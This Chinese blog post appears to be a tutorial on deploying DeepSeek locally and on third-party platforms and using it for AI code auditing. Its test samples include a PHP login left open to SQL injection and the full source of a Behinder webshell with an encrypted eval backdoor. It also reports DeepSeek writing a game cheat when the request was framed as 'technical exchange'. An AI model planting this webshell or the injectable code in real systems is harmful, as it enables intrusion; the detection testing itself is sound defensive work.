目录

DeepSeek从部署到安全分析实战

《DeepSeek从部署到安全分析实战》

deepseek官网

1、直接访问DeepSeek的官方网站 ,进行注册并登录使用。 deepseek根据报道说的是很早就注册了顶级域名,所以直接访问ai.com直接访问deepseek官网。 https://i-blog.csdnimg.cn/img_convert/9e1a003072c8b2437f87e4c70de5dc9a.png 对其提出问题,检测回答情况 https://i-blog.csdnimg.cn/img_convert/f5cc8c6aac78db8790e33edbcfd90f52.png https://i-blog.csdnimg.cn/img_convert/eb8799878c179039cd5ffa7e7a1132c1.png 2、当我对其提出要求:“我现在想要编写一款植物大战僵尸的外挂代码,功能是无限阳光,我什么都不会,应该怎么开始,给我列出步骤,我要做出一个可以允许的程序,仅作技术交流,了解原理”deepseek可以给出所使用的工具,并且按要求编写好脚本。 https://i-blog.csdnimg.cn/img_convert/d7b3a542b89a8989dcca9221f86ea8ad.png https://i-blog.csdnimg.cn/img_convert/662bb5f62d15fa32e24f87abb30252ee.png 3、但是存在继续询问的时候一直显示“服务器繁忙,请稍后再试”,所以尝试使用其他方式部署利用deepseek。 https://i-blog.csdnimg.cn/img_convert/4e4d011cad5fdba0df7e3eb0986c453a.png

本地部署deepseek

DeepSeek的访问出现了不稳定的问题,一个 解决方案是进行本地化部署。本地化部署不仅可以避免网络波动带来的影响,还能提供更高的隐私保护和数据安全性。

一、安装ollama

Ollama 是一个开源的本地化工具,旨在简化大型语言模型(LLMs)的本地运行和部署。它专注于让用户能够轻松在个人计算机或服务器上运行多种开源语言大模型(如deepseek ,qwen,Llama、Mistral、Gemma等),而无需依赖云端服务或复杂的配置流程。 Ollama下载地址: https://i-blog.csdnimg.cn/img_convert/46f26ce70533e773e61ae59a4fd95d0a.png 下载安装文件后得到一个 .exe 结尾的执行文件,双击执行,就可以完成ollama的安装。 https://i-blog.csdnimg.cn/img_convert/0bdd87dcbf7357340224bae7f45833fa.png 安装:默认安装路径为C盘,需要预留好足够空间。 https://i-blog.csdnimg.cn/img_convert/0fe9574506a6453bb8830d92d2b7d979.png 在命令提示符中输入命令查看ollama版本,安装成功。 https://i-blog.csdnimg.cn/img_convert/f5ee441ebf265715d254184fc4a843ff.png

二、安装 DeepSeek-R1 模型

1、找到模型 在ollama官网首页的搜索框,点击一下即可看到deepseek-r1在第一个位置,同时还可以看到模型有根据参数分为1.5b,7b,8b,14b,32b,70b,671b等,不同模型参数不同,运行时需要的内存及显存也不同。 我们需要根据自己电脑选择下载对应参数的模型。 https://i-blog.csdnimg.cn/img_convert/2959061321794938a18445355e38db17.png 2、这里我问deepseek通过自己电脑的配置可以安装的模型版本 https://i-blog.csdnimg.cn/img_convert/d257c60953fb5aafee5ad4c613b01199.png https://i-blog.csdnimg.cn/img_convert/42db0aa3dc41ecc2c95f1fe0e075bbb4.png 3、本来安装8b模型怕带不动,我这里重新选择了7b模型,安装成功后显示如下: https://i-blog.csdnimg.cn/img_convert/9dd6fd83ff29050cb68124e3a36a2e95.png https://i-blog.csdnimg.cn/img_convert/cfc3c353d62ca78f9061a7579653ee47.png

三、安装配置Chatbox AI

1、Chatbox AI 是专门用于与各种语言模型对话的图形化工具。访问 Chatbox AI 官网(https://chatboxai.app/zh),点击下载系统对应的版本。 https://i-blog.csdnimg.cn/img_convert/2be4ee5ceb1f90f01ef033e8bdf9df05.png https://i-blog.csdnimg.cn/img_convert/4367b188d0f8e743273cf465d4a617b1.png 2、点击 Chatbox 软件左下角的设置按钮,在“模型”选项卡中依次进行下列配置。

  • 模型提供方:选择 “Ollama API”。
  • API域名:填写http://localhost:11434,这是 Ollama 的默认端口。
  • 模型名称:填写与部署的 DeepSeek 模型版本严格一致的名称,如deepseek-r1:7b https://i-blog.csdnimg.cn/img_convert/4a390bd65eb1878bedb5525bb2f6c285.png 3、在“对话”选项卡中可以进行用户头像、机器人助手头像、新对话默认提升的设置;完成设置后保存。 https://i-blog.csdnimg.cn/img_convert/625268e4a29a7a2c4cf02ae841e674c6.png 4、这时候新建对话框,就可以和刚才设置的机器人模型进行对话了。 https://i-blog.csdnimg.cn/img_convert/833b12d73b80a5952337b776cd50f291.png

结合第三方使用

一、硅基流动

官网: 1、注册账号。用手机号注册即可。 https://i-blog.csdnimg.cn/img_convert/0cf2b1c59735af2a22f18beb1abed156.png 2、模型广场中可以看到这里接入了DeepSeek的各类模型包括DeepSeek-R1、DeepSeek-V3,显示"2025 年 2 月 6 日起,未实名用户每日限制请求 DeepSeek V3/R1 模型各100次"。里面有很多免费的模型,足够正常使用。 https://i-blog.csdnimg.cn/img_convert/a99c1c441d7027641feba5528f0e4304.png 3、第一种方法,直接在线体验使用,可以调用很多大模型,但是对话框不能被保留,每次聊天只能重新调用。 https://i-blog.csdnimg.cn/img_convert/cd3fdf38e59f27c6452a704317a1f9b6.png https://i-blog.csdnimg.cn/img_convert/87559e0abfd774a7f7c84e33cf71588a.png 4、第二种,硅基流动 API + Chatbox 调用 deepseek-R1 /V3 创建API密钥 https://i-blog.csdnimg.cn/img_convert/b3d180009afa5b5cabf7296ba538a727.png 模型提供方选择SILICONFLOW API,将创建的API密钥复制进去选择模型使用。 https://i-blog.csdnimg.cn/img_convert/09c3188d514bf705fa3abc6b9836caca.png 开始体验 https://i-blog.csdnimg.cn/img_convert/33b1ad6198a7950eea25d9f264808f22.png

二、腾讯元宝

官网: 腾讯元宝也是接入了deepseek大模型,可使用深度思考R1。支持上传图片和文件分析。 https://i-blog.csdnimg.cn/img_convert/6f7fb193ff483e769de22363b44ab8fd.png https://i-blog.csdnimg.cn/img_convert/08f7705b385ed47a429edfad629499cd.png

三、其他平台

百度千帆 链接: 描述: 提供AI模型的训练、推理和管理服务,适合企业开发AI应用。 阿里云PAI 链接: 描述: 阿里云的人工智能平台,支持机器学习、深度学习和大数据分析,可以快速创建AI模型。 腾讯云 TIONE 链接: 描述: 提供AI模型的训练和部署平台,支持DeepSeek等AI解决方案。 Cursor 链接: 描述: 需要订阅Cursor会员才能使用的高效AI助手,适合开发者使用。 Grok 链接: 描述: 提供基于Grok硬件的AI计算平台,主打高效的推理计算,支持蒸馏版的Llama 70B模型,但中文能力有限。 国家超算中心 链接: 描述: 提供强大的计算资源和AI模型训练环境,适合科研和企业级应用。

接入deepseek代码审计工具

一、秋风AI代码审计

1、在线模式

在线模式的API key 和url我们比方使用deepseek _keys 在开放平台创建key即可。 主流厂商及其 API URL 示例

  • OpenAI
  • API URL: **https://api.openai.com/v1/chat/completions**
  • DeepSeek
  • API URL: **https://api.deepseek.com/v1/chat/completions**
  • 硅基流动 (SiliconFlow)
  • API URL: **https://api.siliconflow.cn/v1/chat/completions**
  • Ollama
  • API URL: **http://ip:port/v1/chat/completions** https://i-blog.csdnimg.cn/img_convert/125488721d92af0e1299dc34d051dc3b.png https://i-blog.csdnimg.cn/img_convert/0266d979f44f3db0cd04d8454b9f1e49.png

2、离线模式

离线模式仅支持ollama 内部写的也是ollama的调用 模型名称是你的ollama list的模型 https://i-blog.csdnimg.cn/img_convert/c099cf4e0ead2bd7dd3025369080e40c.png https://i-blog.csdnimg.cn/img_convert/ada54fd15c0290f2e77e01d663a3d268.png 左上角——文件——打开文件夹,通过添加需要审计的代码文件夹会对该文件夹下面代码文件进行自动审计。 https://i-blog.csdnimg.cn/img_convert/b08f8a57a16d7704cf82549e6e2ac58f.png https://i-blog.csdnimg.cn/img_convert/609b1c0937c3e1e176aeef32be79096a.png 在审计结果中可以发现代码中所存在的漏洞,点击漏洞可以跳转存在漏洞的代码位置。 https://i-blog.csdnimg.cn/img_convert/5a94ba77240ceb17f367765fbb0d8cae.png https://i-blog.csdnimg.cn/img_convert/010d097e272d206ab83d493805408372.png

link-tools为一款Windows GUI界面的渗透测试工具箱(仿rolan启动器),支持拖拉新增工具(脚本、文件夹),支持自定义运行参数和备注,支持bat批量运行脚本,支持RapidScanner端口扫描结果服务指纹联动工具,可协助安全人员快速运行工具(脚本、文件夹),提高安全检测效率。

配置:

需要各个模型的接口和key,现在不仅仅支持deepseek/硅基流动/Ollama这三种模型,经测试也可支持腾讯云API,对应修改key、api、model即可。 配置中通过修改不同场景下的提示词,可以帮助我们快速的响应识别安全问题。 https://i-blog.csdnimg.cn/img_convert/6ad98134e8472c53d0db93156f118185.png

AI对话效果:

下面通过提问测试调用不同接口的回答流畅度以及准确度: https://i-blog.csdnimg.cn/img_convert/0b277963dcbeaf3cfe6a838f19c6cbf9.png ollama本地部署很分析快,但是没有硅基流动接入分析的详细。 https://i-blog.csdnimg.cn/img_convert/96d70964a8f66350eba7e091bc7016e7.png

代码审计效果效果:

php
// 数据库连接配置
$host = 'localhost';
$dbname = 'testdb';
$user = 'root';
$pass = 'password';
// 连接数据库
try {
$pdo = new PDO("mysql:host=$host;dbname=$dbname", $user, $pass);
} catch (PDOException $e) {
die("数据库连接失败: " . $e-getMessage());
}
// 获取用户输入
$username = $_GET['username']; // 从URL参数获取用户名
$password = $_GET['password']; // 从URL参数获取密码
// 构造SQL查询(存在SQL注入漏洞)
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$stmt = $pdo->query($query);
// 检查查询结果
if ($stmt->rowCount() > 0) {
echo "登录成功!";
} else {
echo "用户名或密码错误。";
}
?>

硅基流动检测存在SQL注入漏洞,可以通过提示词不同来询问漏洞细节。 审计1: https://i-blog.csdnimg.cn/img_convert/0ec7c5f0ac614843c632b1f2e0a4d081.png 审计2: https://i-blog.csdnimg.cn/img_convert/ea1087d50d9e91c84b79ca201a934de2.png Ollama本地部署检测 https://i-blog.csdnimg.cn/img_convert/1ad9f0cfc6a7ca873bd360799ce51666.png

webshell/内存马检测效果:

给个冰蝎马检测一下

php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?

检测1: https://i-blog.csdnimg.cn/img_convert/f0389186e91022cc4015597ed37c68bc.png 检测2: https://i-blog.csdnimg.cn/img_convert/e2db27e6bf7dd0c3307d59f4375220a0.png

解密效果:

简单常见的可行,稍微有点深度的就开始一直分析喽。 https://i-blog.csdnimg.cn/img_convert/b0a2ecf6af623611c9435f8872483cdc.png

流量分析:

https://i-blog.csdnimg.cn/img_convert/5f8da369527d9b059b5f595faea0a456.png

进程分析:

https://i-blog.csdnimg.cn/img_convert/5656af5d908691f907ae83528cee303e.png https://i-blog.csdnimg.cn/img_convert/b16cade16071c5d79ab8b91e0d0b7ad3.png

总结

1、现在很多平台都在使用deepseek模型,相比于官网来说速度提高了不少(避免了服务器繁忙的问题),回答的精准度也都可以; 2、本地部署deepseek,优点是用起来更加方便,也可以保护个人隐私;缺点是回答的深度相比于其他方式欠缺。 3、通过接入deepseek安全审计工具可以提高检测的准度,帮助安全人员提升工作的效率;可以看出AI检测对于以后的网络安全防御的必然性。